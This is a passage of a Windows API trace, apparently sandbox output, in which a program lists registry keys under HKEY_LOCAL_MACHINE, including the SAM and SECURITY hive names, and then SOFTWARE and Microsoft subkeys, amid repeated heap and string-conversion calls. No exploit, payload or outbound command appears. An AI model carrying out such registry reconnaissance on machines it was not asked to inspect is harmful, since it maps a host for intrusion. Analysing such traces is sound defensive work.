RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bca0) returned 1 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.228] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1d7b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1d7bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bca0) returned 1 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc58) returned 1 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.228] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1d7b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1d7bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc58) returned 1 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bca0) returned 1 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.228] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1d7b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1d7bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bca0) returned 1 [0031.229] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc58) returned 1 [0031.229] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.229] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1d7b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1d7bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.229] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc58) returned 1 [0031.229] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bca0) returned 1 [0031.229] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.229] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x184) returned 0x1d7d040 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bce8 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bd30 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bd78 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bdc0 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7be08 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7be50 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7be98 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bee0 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bf28 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bf70 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bfb8 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c000 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c048 [0031.229] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c090 [0031.229] RegCloseKey (hKey=0x80000002) returned 0x0 [0031.229] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x1d7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.230] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1d7b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.230] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1d7b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.230] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1d7b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0031.230] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.230] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.231] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1d7b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.231] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0x1d7b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.231] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0x1d7b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.231] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.231] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0031.231] RegCloseKey (hKey=0x90) returned 0x0 [0031.231] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0031.231] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1d7b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1d7b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1d7b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x1d7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0031.232] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.232] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.232] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1d7b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.233] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1d7b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.233] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1d7b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.233] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1d7b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 